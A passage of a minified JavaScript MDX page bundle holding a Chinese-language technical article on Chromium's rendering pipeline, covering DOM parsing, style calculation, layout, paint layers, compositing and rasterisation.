r=e.components,n=e.mdxType,l=e.originalType,p=e.parentName,s=i(e,["components","mdxType","originalType","parentName"]),u=m(r),k=n,d=u["".concat(p,".").concat(k)]||u[k]||c[k]||l;return r?a.createElement(d,o(o({ref:t},s),{},{components:r})):a.createElement(d,o({ref:t},s))}));function k(e,t){var r=arguments,n=t&&t.mdxType;if("string"==typeof e||n){var l=r.length,o=new Array(l);o[0]=u;var i={};for(var p in t)hasOwnProperty.call(t,p)&&(i[p]=t[p]);i.originalType=e,i.mdxType="string"==typeof e?e:n,o[1]=i;for(var m=2;m"),", ",(0,l.kt)("inlineCode",{parentName:"li"},""),"\uff09\u3002"),(0,l.kt)("li",{parentName:"ol"},"Lexing\uff08\u8bed\u6cd5\u5206\u6790\uff09\uff1a\u4e0a\u4e00\u6b65\u4ea7\u751f\u7684\u6807\u8bb0\u5c06\u88ab\u8f6c\u6362\u4e3a\u5bf9\u8c61\uff0c\u8fd9\u4e9b\u5bf9\u8c61\u5305\u542b\u4e86 HTML \u8bed\u6cd5\u7684\u5404\u79cd\u4fe1\u606f\uff0c\u5982\u5c5e\u6027\u3001\u5c5e\u6027\u503c\u3001\u6587\u672c\u7b49\u3002"),(0,l.kt)("li",{parentName:"ol"},"DOM construction\uff08DOM \u6784\u9020\uff09\uff1a\u56e0\u4e3a HTML \u6807\u8bb0\u5b9a\u4e49\u4e86\u4e0d\u540c\u6807\u7b7e\u4e4b\u95f4\u7684\u5173\u7cfb\uff0c\u4e0a\u4e00\u6b65\u4ea7\u751f\u7684\u5bf9\u8c61\u4f1a\u94fe\u63a5\u5728\u4e00\u4e2a\u6811\u72b6\u6570\u636e\u7ed3\u6784\u4e2d\uff0c\u4ee5\u6807\u8bc6\u7236\u5b50\u3001\u5144\u5f1f\u5173\u7cfb\u3002")),(0,l.kt)("p",null,"\u6784\u5efa DOM \u7684\u6d41\u7a0b\u5982\u4e0b\u56fe\u6240\u793a\uff1a"),(0,l.kt)("p",null,(0,l.kt)("img",{parentName:"p",src:"https://developers.google.com/web/fundamentals/performance/critical-rendering-path/images/full-process.png",alt:"DOM"})),(0,l.kt)("blockquote",null,(0,l.kt)("p",{parentName:"blockquote"},"\u56fe\u7247\u6765\u6e90 ",(0,l.kt)("a",{parentName:"p",href:"https://developers.google.com/web/fundamentals/performance/critical-rendering-path/constructing-the-object-model"},"Constructing the Object Model"))),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"\u6b21\u7ea7\u8d44\u6e90\u52a0\u8f7d")),(0,l.kt)("p",null,"\u4e00\u4e2a\u7f51\u9875\u901a\u5e38\u4f1a\u4f7f\u7528\u591a\u4e2a\u5916\u90e8\u8d44\u6e90\uff0c\u5982\u56fe\u7247\u3001JavaScript\u3001CSS\u3001\u5b57\u4f53\u7b49\u3002\u4e3b\u7ebf\u7a0b\u5728\u89e3\u6790 DOM \u7684\u8fc7\u7a0b\u4e2d\u9047\u5230\u8fd9\u4e9b\u8d44\u6e90\u540e\u4f1a\u4e00\u4e00\u8bf7\u6c42\u3002\u4e3a\u4e86\u52a0\u901f\u6e32\u67d3\u6d41\u7a0b\uff0c\u4f1a\u6709\u4e00\u4e2a\u53eb\u505a\u9884\u52a0\u8f7d\u626b\u63cf\u5668\uff08preload scanner\uff09\u7ebf\u7a0b\u5e76\u53d1\u8fd0\u884c\u3002\u5982\u679c HTML \u4e2d\u5b58\u5728 img \u6216 link \u4e4b\u7c7b\u7684\u5185\u5bb9\uff0c\u5219\u9884\u52a0\u8f7d\u626b\u63cf\u5668\u4f1a\u67e5\u770b HTML parser \u751f\u6210\u7684\u6807\u8bb0\uff0c\u5e76\u53d1\u9001\u8bf7\u6c42\u5230\u6d4f\u89c8\u5668\u8fdb\u7a0b\u7684\u7f51\u7edc\u7ebf\u7a0b\u83b7\u53d6\u8fd9\u4e9b\u8d44\u6e90\u3002"),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"JavaScript \u53ef\u80fd\u963b\u585e\u89e3\u6790")),(0,l.kt)("p",null,"\u5f53 HTML \u89e3\u6790\u5668\u53d1\u73b0 script \u6807\u7b7e\u65f6\uff0c\u4f1a\u6682\u505c HTML \u7684\u89e3\u6790\uff0c\u8f6c\u800c\u5f00\u59cb\u52a0\u8f7d\u3001\u89e3\u6790\u548c\u6267\u884c JavaScript\u3002\u56e0\u4e3a JS \u53ef\u80fd\u4f1a\u6539\u53d8 DOM \u7684\u7ed3\u6784\u3002\u5982\u679c\u4e0d\u60f3\u56e0 JS \u963b\u585e HTML \u7684\u89e3\u6790\uff0c\u53ef\u4ee5\u4e3a script \u6807\u7b7e\u6dfb\u52a0 defer \u5c5e\u6027\u6216\u5c06 script \u653e\u5728 body \u7ed3\u675f\u6807\u7b7e\u4e4b\u524d\uff0c\u6d4f\u89c8\u5668\u4f1a\u5728\u6700\u540e\u6267\u884c JS \u4ee3\u7801\uff0c\u907f\u514d\u963b\u585e DOM \u6784\u5efa\u3002"),(0,l.kt)("h4",{id:"12-style-\u9636\u6bb5\u6837\u5f0f\u8ba1\u7b97"},"1.2 Style \u9636\u6bb5\uff1a\u6837\u5f0f\u8ba1\u7b97"),(0,l.kt)("p",null,"CSS \u5f15\u64ce\u5904\u7406\u6837\u5f0f\u7684\u8fc7\u7a0b\u5206\u4e3a\u4e09\u4e2a\u9636\u6bb5\uff1a"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},"\u6536\u96c6\u3001\u5212\u5206\u548c\u7d22\u5f15\u6240\u6709\u6837\u5f0f\u8868\u4e2d\u5b58\u5728\u7684\u6837\u5f0f\u89c4\u5219\uff0cCSS \u5f15\u64ce\u4f1a\u4ece style \u6807\u7b7e\uff0ccss \u6587\u4ef6\u53ca\u6d4f\u89c8\u5668\u4ee3\u7406\u6837\u5f0f\u4e2d\u6536\u96c6\u6240\u6709\u7684\u6837\u5f0f\u89c4\u5219\uff0c\u5e76\u4e3a\u8fd9\u4e9b\u89c4\u5219\u5efa\u7acb\u7d22\u5f15\uff0c\u4ee5\u65b9\u4fbf\u540e\u7eed\u7684\u9ad8\u6548\u67e5\u8be2\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u8bbf\u95ee\u6bcf\u4e2a\u5143\u7d20\u5e76\u627e\u5230\u9002\u7528\u4e8e\u8be5\u5143\u7d20\u7684\u6240\u6709\u89c4\u5219\uff0cCSS \u5f15\u64ce\u904d\u5386 DOM \u8282\u70b9\uff0c\u8fdb\u884c\u9009\u62e9\u5668\u5339\u914d\uff0c\u5e76\u4e3a\u5339\u914d\u7684\u8282\u70b9\u6267\u884c\u6837\u5f0f\u8bbe\u7f6e\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u7ed3\u5408\u5c42\u53e0\u89c4\u5219\u548c\u5176\u4ed6\u4fe1\u606f\u4e3a\u8282\u70b9\u751f\u6210\u6700\u7ec8\u7684\u8ba1\u7b97\u6837\u5f0f\uff0c\u8fd9\u4e9b\u6837\u5f0f\u7684\u503c\u53ef\u4ee5\u901a\u8fc7 ",(0,l.kt)("inlineCode",{parentName:"li"},"window.getComputedStyle()")," \u83b7\u53d6\u3002")),(0,l.kt)("p",null,"\u5728\u5927\u578b\u7f51\u7ad9\u4e2d\uff0c\u4f1a\u5b58\u5728\u5927\u91cf\u7684 CSS \u89c4\u5219\uff0c\u5982\u679c\u4e3a\u6bcf\u4e2a\u8282\u70b9\u90fd\u4fdd\u5b58\u4e00\u4efd\u6837\u5f0f\u503c\uff0c\u4f1a\u5bfc\u81f4\u5185\u5b58\u6d88\u8017\u8fc7\u5927\u3002\u4f5c\u4e3a\u66ff\u4ee3\uff0cCSS \u5f15\u64ce\u901a\u5e38\u4f1a\u521b\u5efa\u5171\u4eab\u7684\u6837\u5f0f\u7ed3\u6784\uff0c\u8ba1\u7b97\u6837\u5f0f\u5bf9\u8c61\u4e00\u822c\u6709\u6307\u9488\u6307\u5411\u76f8\u540c\u7684\u5171\u4eab\u7ed3\u6784\u3002"),(0,l.kt)("p",null,"\u9644\u52a0\u4e86\u8ba1\u7b97\u6837\u5f0f\u7684 DOM \u6811\uff0c\u4e00\u822c\u88ab\u79f0\u4e3a CSSOM\uff08CSS Object Model\uff09\uff1a"),(0,l.kt)("p",null,(0,l.kt)("img",{parentName:"p",src:"https://developers.google.com/web/fundamentals/performance/critical-rendering-path/images/cssom-tree.png",alt:"CSSOM"})),(0,l.kt)("blockquote",null,(0,l.kt)("p",{parentName:"blockquote"},"\u56fe\u7247\u6765\u6e90 ",(0,l.kt)("a",{parentName:"p",href:"https://developers.google.com/web/fundamentals/performance/critical-rendering-path/constructing-the-object-model"},"Constructing the Object Model"))),(0,l.kt)("p",null,"CSSOM \u548c DOM \u662f\u5e76\u884c\u6784\u5efa\u7684\uff0c\u6784\u5efa CSSOM \u4e0d\u4f1a\u963b\u585e DOM \u7684\u6784\u5efa\u3002\u4f46 CSSOM \u4f1a\u963b\u585e JS \u7684\u6267\u884c\uff0c\u56e0\u4e3a JS \u53ef\u80fd\u4f1a\u64cd\u4f5c\u6837\u5f0f\u4fe1\u606f\u3002\u867d\u7136 CSSOM \u4e0d\u4f1a\u963b\u585e DOM \u7684\u6784\u5efa\uff0c\u4f46\u5728\u8fdb\u5165\u4e0b\u4e00\u9636\u6bb5\u4e4b\u524d\uff0c\u5fc5\u987b\u7b49\u5f85 CSSOM \u6784\u5efa\u5b8c\u6210\u3002\u8fd9\u4e5f\u662f\u901a\u5e38\u6240\u8bf4\u7684 CSSOM \u4f1a\u963b\u585e\u6e32\u67d3\u3002"),(0,l.kt)("h4",{id:"13-layout-\u9636\u6bb5"},"1.3 Layout \u9636\u6bb5"),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"\u521b\u5efa LayoutObject\uff08RenderObject\uff09 \u6811")),(0,l.kt)("p",null,"\u6709\u4e86 DOM \u6811\u548c DOM \u6811\u4e2d\u5143\u7d20\u7684\u8ba1\u7b97\u6837\u5f0f\u540e\uff0c\u6d4f\u89c8\u5668\u4f1a\u6839\u636e\u8fd9\u4e9b\u4fe1\u606f\u5408\u5e76\u6210\u4e00\u4e2a layout \u6811\uff0c\u6536\u96c6\u6240\u6709\u53ef\u89c1\u7684 DOM \u8282\u70b9\uff0c\u4ee5\u53ca\u6bcf\u4e2a\u8282\u70b9\u7684\u6240\u6709\u6837\u5f0f\u4fe1\u606f\u3002"),(0,l.kt)("p",null,"Layout \u6811\u548c DOM \u6811\u4e0d\u4e00\u5b9a\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\uff0c\u4e3a\u4e86\u6784\u5efa Layout \u6811\uff0c\u6d4f\u89c8\u5668\u4e3b\u8981\u5b8c\u6210\u4e86\u4e0b\u5217\u5de5\u4f5c\uff1a"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},"\u4ece DOM \u6811\u7684\u6839\u8282\u70b9\u5f00\u59cb\u904d\u5386\u6bcf\u4e2a\u53ef\u89c1\u8282\u70b9\u3002",(0,l.kt)("ul",{parentName:"li"},(0,l.kt)("li",{parentName:"ul"},"\u67d0\u4e9b\u4e0d\u53ef\u89c1\u8282\u70b9\uff08\u4f8b\u5982 script\u3001head\u3001meta \u7b49\uff09\uff0c\u5b83\u4eec\u4e0d\u4f1a\u4f53\u73b0\u5728\u6e32\u67d3\u8f93\u51fa\u4e2d\uff0c\u4f1a\u88ab\u5ffd\u7565\u3002"),(0,l.kt)("li",{parentName:"ul"},"\u67d0\u4e9b\u901a\u8fc7\u8bbe\u7f6e display \u4e3a none \u9690\u85cf\u7684\u8282\u70b9\uff0c\u5728\u6e32\u67d3\u6811\u4e2d\u4e5f\u4f1a\u88ab\u5ffd\u7565\u3002"),(0,l.kt)("li",{parentName:"ul"},"\u4e3a\u4f2a\u5143\u7d20\u521b\u5efa LayoutObject\u3002"),(0,l.kt)("li",{parentName:"ul"},"\u4e3a\u884c\u5185\u5143\u7d20\u521b\u5efa\u533f\u540d\u5305\u542b\u5757\u5bf9\u5e94\u7684 LayoutObject\u3002"))),(0,l.kt)("li",{parentName:"ol"},"\u5bf9\u4e8e\u6bcf\u4e2a\u53ef\u89c1\u8282\u70b9\uff0c\u4e3a\u5176\u627e\u5230\u9002\u914d\u7684 CSSOM \u89c4\u5219\u5e76\u5e94\u7528\u5b83\u4eec\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u4ea7\u51fa\u53ef\u89c1\u8282\u70b9\uff0c\u5305\u542b\u5176\u5185\u5bb9\u548c\u8ba1\u7b97\u7684\u6837\u5f0f\u3002")),(0,l.kt)("p",null,(0,l.kt)("img",{parentName:"p",src:"https://developers.google.com/web/fundamentals/performance/critical-rendering-path/images/render-tree-construction.png",alt:"Construct Render Tree"})),(0,l.kt)("blockquote",null,(0,l.kt)("p",{parentName:"blockquote"},"\u56fe\u7247\u6765\u6e90 ",(0,l.kt)("a",{parentName:"p",href:"https://developers.google.com/web/fundamentals/performance/critical-rendering-path/render-tree-construction"},"Render-tree Construction"))),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"\u5e03\u5c40\u8ba1\u7b97")),(0,l.kt)("p",null,"\u4e0a\u4e00\u6b65\u8ba1\u7b97\u4e86\u53ef\u89c1\u7684\u8282\u70b9\u53ca\u5176\u6837\u5f0f\uff0c\u63a5\u4e0b\u6765\u9700\u8981\u8ba1\u7b97\u5b83\u4eec\u5728\u8bbe\u5907\u89c6\u53e3\u5185\u7684\u786e\u5207\u4f4d\u7f6e\u548c\u5927\u5c0f\uff0c\u8fd9\u4e2a\u8fc7\u7a0b\u4e00\u822c\u88ab\u79f0\u4e3a\u81ea\u52a8\u91cd\u6392\u3002"),(0,l.kt)("p",null,"\u6d4f\u89c8\u5668\u7684\u5e03\u5c40\u8ba1\u7b97\u5de5\u4f5c\u5305\u542b\u4ee5\u4e0b\u5185\u5bb9\uff1a"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},"\u6839\u636e CSS \u76d2\u6a21\u578b\u53ca\u89c6\u89c9\u683c\u5f0f\u5316\u6a21\u578b\uff0c\u8ba1\u7b97\u6bcf\u4e2a\u5143\u7d20\u7684\u5404\u79cd\u751f\u6210\u76d2\u7684\u5927\u5c0f\u548c\u4f4d\u7f6e\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u8ba1\u7b97\u5757\u7ea7\u5143\u7d20\u3001\u884c\u5185\u5143\u7d20\u3001\u6d6e\u52a8\u5143\u7d20\u3001\u5404\u79cd\u5b9a\u4f4d\u5143\u7d20\u7684\u5927\u5c0f\u548c\u4f4d\u7f6e\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u8ba1\u7b97\u6587\u5b57\uff0c\u6eda\u52a8\u533a\u57df\u7684\u5927\u5c0f\u548c\u4f4d\u7f6e\u3002"),(0,l.kt)("li",{parentName:"ol"},"LayoutObject \u6709\u4e24\u79cd\u7c7b\u578b\uff1a",(0,l.kt)("ul",{parentName:"li"},(0,l.kt)("li",{parentName:"ul"},"\u4f20\u7edf\u7684 LayoutObject \u8282\u70b9\uff0c\u4f1a\u628a\u5e03\u5c40\u8fd0\u7b97\u7684\u7ed3\u679c\u91cd\u65b0\u5199\u56de\u5e03\u5c40\u6811\u4e2d\u3002"),(0,l.kt)("li",{parentName:"ul"},"LayoutNG\uff08Chrome 76 \u5f00\u59cb\u542f\u7528\uff09 \u8282\u70b9\u7684\u8f93\u51fa\u662f\u4e0d\u53ef\u53d8\u7684\uff0c\u4f1a\u4fdd\u5b58\u5728 NGLayoutResult \u4e2d\uff0c\u8fd9\u662f\u4e00\u4e2a\u6811\u72b6\u7684\u7ed3\u6784\uff0c\u76f8\u6bd4\u4e4b\u524d\u7684 LayoutObject\uff0c\u5c11\u4e86\u5f88\u5927\u56de\u6eaf\u8ba1\u7b97\uff0c\u63d0\u9ad8\u4e86\u6027\u80fd\u3002")))),(0,l.kt)("h4",{id:"14-paint-\u9636\u6bb5"},"1.4 Paint \u9636\u6bb5"),(0,l.kt)("p",null,"Paint \u9636\u6bb5\u5c06 LayoutObject \u6811\u8f6c\u6362\u6210\u4f9b\u5408\u6210\u5668\u4f7f\u7528\u7684\u9ad8\u6548\u6e32\u67d3\u683c\u5f0f\uff0c\u5305\u62ec\u4e00\u4e2a\u5305\u542b display item \u5217\u8868\u7684 cc::Layers \u5217\u8868\uff0c\u4e0e\u8be5\u5217\u8868\u4e0e cc::PropertyTrees \u5173\u8054\u3002"),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"\u6784\u5efa PaintLayer\uff08RenderLayer\uff09 \u6811")),(0,l.kt)("p",null,"\u6784\u5efa\u5b8c\u6210\u7684 LayoutObject \u6811\u8fd8\u4e0d\u80fd\u62ff\u53bb\u663e\u793a\uff0c\u56e0\u4e3a\u5b83\u4e0d\u5305\u542b\u7ed8\u5236\u7684\u987a\u5e8f\uff08z-index\uff09\u3002\u540c\u65f6\uff0c\u4e5f\u4e3a\u4e86\u8003\u8651\u4e00\u4e9b\u590d\u6742\u7684\u60c5\u51b5\uff0c\u5982 3D \u53d8\u6362\u3001\u9875\u9762\u6eda\u52a8\u7b49\uff0c\u6d4f\u89c8\u5668\u4f1a\u5bf9\u4e0a\u4e00\u6b65\u7684\u8282\u70b9\u8fdb\u884c\u5206\u5c42\u5904\u7406\u3002\u8fd9\u4e2a\u5904\u7406\u8fc7\u7a0b\u88ab\u79f0\u4e3a\u5efa\u7acb\u5c42\u53e0\u4e0a\u4e0b\u6587\u3002"),(0,l.kt)("p",null,"\u6d4f\u89c8\u5668\u4f1a\u6839\u636e ",(0,l.kt)("a",{parentName:"p",href:"https://www.w3.org/TR/CSS21/zindex.html"},"CSS \u5c42\u53e0\u4e0a\u4e0b\u6587\u89c4\u8303"),"\uff0c\u5efa\u7acb\u5c42\u53e0\u4e0a\u4e0b\u6587\uff0c\u5e38\u89c1\u60c5\u51b5\u5982\u4e0b\uff1a"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},"DOM \u6811\u7684 Document \u8282\u70b9\u5bf9\u5e94\u7684 RenderView \u8282\u70b9\u3002"),(0,l.kt)("li",{parentName:"ol"},"DOM \u6811\u4e2d Document \u8282\u70b9\u7684\u5b50\u8282\u70b9\uff0c\u4e5f\u5c31\u662f HTML \u8282\u70b9\u5bf9\u5e94\u7684 RenderBlock \u8282\u70b9\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u663e\u5f0f\u6307\u5b9a CSS \u4f4d\u7f6e\u7684\u8282\u70b9\uff08position \u4e3a absolute \u6216\u8005 fixed\uff09\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u5177\u6709\u900f\u660e\u6548\u679c\u7684\u8282\u70b9\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u5177\u6709 CSS 3D \u5c5e\u6027\u7684\u8282\u70b9\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u4f7f\u7528 Canvas \u5143\u7d20\u6216\u8005 Video \u5143\u7d20\u7684\u8282\u70b9\u3002")),(0,l.kt)("p",null,"\u6d4f\u89c8\u5668\u904d\u5386 LayoutObject \u6811\u7684\u65f6\u5019\uff0c\u5efa\u7acb\u4e86 PaintLayer \u6811\uff0cLayoutObject \u4e0e PaintLayer \u4e5f\u4e0d\u4e00\u5b9a\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\u3002\u6bcf\u4e2a LayoutObject \u8981\u4e48\u4e0e\u81ea\u5df1\u7684 PaintLayer \u5173\u8054\uff0c\u8981\u4e48\u4e0e\u62e5\u6709 PaintLayer \u7684\u7b2c\u4e00\u4e2a\u7956\u5148\u7684 PaintLayer \u5173\u8054\u3002"),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"\u6784\u5efa cc::Layer \u4e0e display items")),(0,l.kt)("p",null,"\u6d4f\u89c8\u5668\u4f1a\u7ee7\u7eed\u6839\u636e PaintLayer \u6811\u521b\u5efa cc::Layer \u5217\u8868\u3002cc::Layer \u662f\u5217\u8868\u72b6\u7ed3\u6784\uff0c\u6bcf\u4e2a layer \u5305\u542b\u4e86\u4e2a DisplayItem \u5217\u8868\uff0c\u6bcf\u4e2a DisplayItem \u5305\u542b\u4e86\u5b9e\u9645\u7684 paint op \u6307\u4ee4\u3002\u5c06\u9875\u9762\u5206\u5c42\uff0c\u53ef\u4ee5\u8ba9\u4e00\u4e2a\u56fe\u5c42\u72ec\u7acb\u4e8e\u5176\u4ed6\u7684\u56fe\u5c42\u8fdb\u884c\u53d8\u6362\u548c\u5149\u6805\u5316\u5904\u7406\u3002"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("p",{parentName:"li"},"\u5408\u6210\u66f4\u65b0\uff08Compositing update\uff09"),(0,l.kt)("ul",{parentName:"li"},(0,l.kt)("li",{parentName:"ul"},"\u4f9d\u636e PaintLayer \u51b3\u5b9a\u5206\u5c42\uff08GraphicsLayers\uff09"),(0,l.kt)("li",{parentName:"ul"},"\u8fd9\u4e2a\u7b56\u7565\u88ab\u79f0\u4e3a CompositeBeforePaint\uff0c\u672a\u6765\u4f1a\u88ab CompositeAfterPaint \u66ff\u4ee3\u3002"))),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("p",{parentName:"li"},"PrePaint"),(0,l.kt)("ul",{parentName:"li"},(0,l.kt)("li",{parentName:"ul"},"PaintInvalidator \u8fdb\u884c\u5931\u6548\u68c0\u67e5\uff0c\u627e\u51fa\u9700\u8981\u7ed8\u5236\u7684 display items\u3002"),(0,l.kt)("li",{parentName:"ul"},"\u6784\u5efa paint property \u6811\uff0c\u8be5\u6811\u80fd\u4f7f\u52a8\u753b\u3001\u9875\u9762\u6eda\u52a8\uff0cclip \u7b49\u53d8\u5316\u4ec5\u5728\u5408\u6210\u7ebf\u7a0b\u8fd0\u884c\uff0c\u63d0\u9ad8\u6027\u80fd\u3002\n",(0,l.kt)("img",{parentName:"li",src:"https://user-images.githubusercontent.com/4338052/131221558-8d91dfe7-22d6-4fdd-b118-bbb9af117059.png",alt:"image"}),(0,l.kt)("blockquote",{parentName:"li"},(0,l.kt)("p",{parentName:"blockquote"},"\u56fe\u7247\u6765\u6e90 ",(0,l.kt)("a",{parentName:"p",href:"https://docs.google.com/presentation/d/1V7gCqKR-edNdRDv0bDnJa_uEs6iARAU2h5WhgxHyejQ/edit#slide=id.g1c810b6196_0_58"},"Compositor Property Trees")))))),(0,l.kt)("li",{parentName:"ol"},(0,l.kt)("p",{parentName:"li"},"Paint"),(0,l.kt)("ul",{parentName:"li"},(0,l.kt)("li",{parentName:"ul"},"\u904d\u5386 LayoutObject \u6811\u5e76\u521b\u5efa display items \u5217\u8868\u3002"),(0,l.kt)("li",{parentName:"ul"},"\u4e3a\u5171\u4eab\u540c\u6837 property tree \u72b6\u6001\u7684 display items \u5217\u8868\u521b\u5efa paint chunks \u5206\u7ec4\u3002"),(0,l.kt)("li",{parentName:"ul"},"\u5c06\u7ed3\u679c commit \u5230 compositor\u3002"),(0,l.kt)("li",{parentName:"ul"},"CompositeAfterPaint \u5c06\u5728\u6b64\u65f6\u51b3\u5b9a\u5206\u5c42\u3002"),(0,l.kt)("li",{parentName:"ul"},"\u5c06 paint chunks \u901a\u8fc7 cc::Layer \u5217\u8868\u4f20\u9012\u7ed9 compositor\u3002"),(0,l.kt)("li",{parentName:"ul"},"\u5c06 property \u6811\u8f6c\u6362\u4e3a cc::PropertyTrees\u3002")))),(0,l.kt)("p",null,"\u4e0a\u9762\u7684\u6d41\u7a0b\u4e2d\uff0c\u6709\u4e24\u4e2a\u4e0d\u540c\u7684\u521b\u5efa\u5408\u6210\u5c42\u7684\u65f6\u673a\uff0c\u4e00\u4e2a\u662f paint \u4e4b\u524d\u7684 CompositeBeforePaint\uff0c\u8be5\u64cd\u4f5c\u5728\u6e32\u67d3\u4e3b\u7ebf\u7a0b\u4e2d\u5b8c\u6210\u3002\u4e00\u4e2a\u662f paint \u4e4b\u540e\u7684 CompositeAfterPaint\uff0c\u540e\u7eed\u521b\u5efa layer \u7684\u64cd\u4f5c\u5728 CC\uff08Chromium Compositor\uff09\u7ebf\u7a0b\u4e2d\u5b8c\u6210\u3002"),(0,l.kt)("h4",{id:"15-\u5408\u6210-compositing"},"1.5 \u5408\u6210 Compositing"),(0,l.kt)("p",null,"\u5408\u6210\u9636\u6bb5\u5728 CC\uff08Chromium Compositor\uff09\u7ebf\u7a0b\u4e2d\u8fdb\u884c\u3002"),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"commit")),(0,l.kt)("p",null,"\u5f53 Paint \u9636\u6bb5\u5b8c\u6210\u540e\uff0c\u4e3b\u7ebf\u7a0b\u8fdb\u5165 commit \u9636\u6bb5\uff0c\u5c06 cc::Layer \u4e2d\u7684 layer list \u548c property \u6811\u66f4\u65b0\u5230 CC \u7ebf\u7a0b\u7684 LayerImpl \u4e2d\uff0ccommit \u5b8c\u6210\u3002commit \u8fdb\u884c\u7684\u8fc7\u7a0b\u4e2d\uff0c\u4e3b\u7ebf\u7a0b\u88ab\u963b\u585e\u3002"),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"tiling & raster")),(0,l.kt)("p",null,"raster\uff08\u5149\u6805\u5316\uff09\u662f\u5c06 display item \u4e2d\u7684\u7ed8\u5236\u64cd\u4f5c\u8f6c\u6362\u4e3a\u4f4d\u56fe\u7684\u8fc7\u7a0b\u3002"),(0,l.kt)("p",null,"\u5149\u6805\u5316\u7684\u4e3b\u8981\u64cd\u4f5c\u6d41\u7a0b\u5982\u4e0b\uff1a"),(0,l.kt)("ol",null,(0,l.kt)("li",{parentName:"ol"},"tiling\uff1a\u5c06 layer \u5206\u6210 tiles\uff08\u56fe\u5757\uff09\u3002 \u56e0\u4e3a\u6709\u7684 layer \u53ef\u80fd\u5f88\u5927\uff08\u5982\u6574\u4e2a\u6587\u6863\u7684\u6eda\u52a8\u6839\u8282\u70b9\uff09\uff0c\u5bf9\u6574\u5c42\u7684\u5149\u6805\u5316\u64cd\u4f5c\u4ee3\u4ef7\u6602\u8d35\uff0c\u4e14 layer \u4e2d\u6709\u7684\u90e8\u5206\u662f\u4e0d\u53ef\u89c1\u7684\uff0c\u4f1a\u9020\u6210\u4e0d\u5fc5\u8981\u7684\u6d6a\u8d39\u3002"),(0,l.kt)("li",{parentName:"ol"},"tiles \u662f\u5149\u6805\u5316\u7684\u57fa\u672c\u5355\u5143\u3002\u5149\u6805\u5316\u64cd\u4f5c\u662f\u901a\u8fc7\u5149\u6805\u7ebf\u7a0b\u6c60\u5904\u7406\u7684\u3002\u79bb\u89c6\u53e3\u66f4\u8fd1\u7684 tiles \u5177\u6709\u66f4\u9ad8\u7684\u4f18\u5148\u7ea7\uff0c\u5c06\u4f18\u5148\u5904\u7406\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u4e00\u4e2a layer \u5b9e\u9645\u4e0a\u4f1a\u751f\u6210\u591a\u79cd\u5206\u8fa8\u7387\u7684 tiles\u3002"),(0,l.kt)("li",{parentName:"ol"},"raster \u540c\u6837\u4e5f\u4f1a\u5904\u7406\u9875\u9762\u5f15\u7528\u7684\u56fe\u7247\u8d44\u6e90\uff0cdisplay items \u4e2d\u7684 paint ops \u5f15\u7528\u4e86\u8fd9\u4e9b\u538b\u7f29\u6570\u636e\uff0craster \u4f1a\u8c03\u7528\u5408\u9002\u7684\u89e3\u7801\u5668\u6765\u89e3\u538b\u8fd9\u4e9b\u6570\u636e\u3002"),(0,l.kt)("li",{parentName:"ol"},"raster \u4f1a\u901a\u8fc7 Skia \u6765\u8fdb\u884c OpenGL \u8c03\u7528\uff0c\u5149\u6805\u5316\u6570\u636e\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u6e32\u67d3\u8fdb\u7a0b\u662f\u8fd0\u884c\u5728\u6c99\u7bb1\u4e2d\u7684\uff0c\u4e0d\u80fd\u76f4\u63a5\u8fdb\u884c\u7cfb\u7edf\u8c03\u7528\u3002paint ops \u901a\u8fc7 IPC\uff08MOJO\uff09\u4f20\u9012\u7ed9 GPU \u8fdb\u7a0b\uff0cGPU \u8fdb\u7a0b\u4f1a\u6267\u884c\u771f\u5b9e\u7684 OpenGL\uff08\u4e3a\u4e86\u4fdd\u8bc1\u6027\u80fd\uff0c\u5728 Windows \u4e0a\u8f6c\u4e3a DirectX\uff09\u8c03\u7528\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u5149\u6805\u5316\u7684\u4f4d\u56fe\u7ed3\u679c\u4fdd\u5b58\u5728 GPU \u5185\u5b58\u4e2d\uff0c\u901a\u5e38\u4f5c\u4e3a OpenGL \u6750\u8d28\u5bf9\u8c61\u4fdd\u5b58\u3002"),(0,l.kt)("li",{parentName:"ol"},"\u53cc\u7f13\u51b2\u673a\u5236\uff1a\u4e3b\u7ebf\u7a0b\u968f\u65f6\u4f1a\u6709 commit \u5230\u6765\uff0c\u5f53\u524d\u7684\u5149\u6805\u5316\u884c\u4e3a\u5728 pending tree\uff08LayerImpl\uff09\u4e0a\u8fdb\u884c\uff0c\u4e00\u65e6\u5149\u6805\u5316\u64cd\u4f5c\u5b8c\u6210\uff0c\u5c06 pending tree \u53d8\u4e3a active tree\uff0c\u540e\u7eed\u7684 draw \u64cd\u4f5c\u5728 active tree \u4e0a\u8fdb\u884c\u3002")),(0,l.kt)("p",null,(0,l.kt)("strong",{parentName:"p"},"draw")),(0,l.kt)("p",null,"\u5f53\u6240\u6709\u7684 tiles \u90fd\u5b8c\u6210\u5149\u6805\u5316\u540e\uff0c\u4f1a\u751f\u6210 draw quads\uff08\u7ed8\u5236\u56db\u8fb9\u5f62\uff09\u3002\u6bcf\u4e2a draw quads 